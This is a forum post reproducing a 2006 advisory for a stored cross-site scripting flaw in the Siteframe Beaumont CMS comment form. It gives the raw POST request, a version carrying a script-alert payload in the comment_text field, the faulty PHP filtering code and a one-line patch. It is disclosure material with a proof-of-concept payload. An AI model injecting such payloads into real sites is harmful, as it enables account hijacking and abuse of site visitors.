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www.waraxe.us Forum Index -> Cross-site scripting aka XSS -> Siteframe Beaumont 5.0.2 Cross-Site Scripting
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Siteframe Beaumont 5.0.2 Cross-Site Scripting
PostPosted: Thu Feb 16, 2006 4:58 pm Reply with quote
Kiki
Regular user
Regular user
 
Joined: Nov 13, 2005
Posts: 7
Location: Italy




Excused for as the advisory will appear in this post but for reasons of apparition I have had to modify a attimino if the page would not have modified all.

Code:

Siteframe Beaumont 5.0.2 <== User Comment Cross-Site Scripting Vulnerability

####################################

Information of Software:

Software: Siteframe Beaumont 5.0.1a 
Site: http://www.siteframe.org/
Description of software: Siteframe is a lightweight content-management
system designed for the rapid deployment of community-based websites.
With Siteframe,a group of users can share stories and photographs, create blogs,
send email to one another, and participate in group activities.

####################################

Bug:

Siteframe contains a flaw that allows a remote cross site scripting attack.
The vulnerability is found in the user comment page and the user can modify
the function GET and insert the XSS code

- http POST request

http://[target]/edit/Comment
POST /edit/Comment HTTP/1.1
Host: [target]
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it-IT; rv:1.7.12) Gecko/20050919 Firefox/1.0.7
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,
text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: it,it-it;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 167
comment_id=&comment_user_id=554&comment_page_id=116&comment
_reply_to=&comment_subject=Kiki&comment_text=Hi&_submitted=1

but we can modify the request POST in this way:

comment_id=&comment_user_id=554&comment_page_id=116&comment
_reply_to=&comment_subject=Kiki&comment_text=<script>alert("lol");
</script>&_submitted=1

---------------------------------------------------------

Example:

you can insert in the text post an XSS code or you can modify the request in this way:

comment_id=&comment_user_id=554&comment_page_id=116&comment
_reply_to=&comment_subject=Kiki&comment_text=[XSS]&_submitted=1

---------------------------------------------------------

The bug is in this part of DataObject.class.inc

[...]
    // strip html
    if ($info['formatted'] == 'ANY')
        ; // anything is allowed
    else if ($info['formatted'])
        $val = strip_tags($val, config('allowed_html'));
    else if ($info['type'] != 'xml')
        $val = strip_tags($val);
[...]

- Patch

in includes/DataObject.class.inc, change this:

    if ($info['formatted'] == 'ANY')

to this:

    if (!strcasecmp($info['formatted'], 'ANY'))

####################################

Credit:

Author:  Kiki
e-mail: federico.sana@alice.it
web page: http://kiki91.altervista.org

####################################


Original advisory:
http://kiki91.altervista.org/exploit/siteframe_5.0.2_xss.txt

Kiki
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Siteframe Beaumont 5.0.2 Cross-Site Scripting
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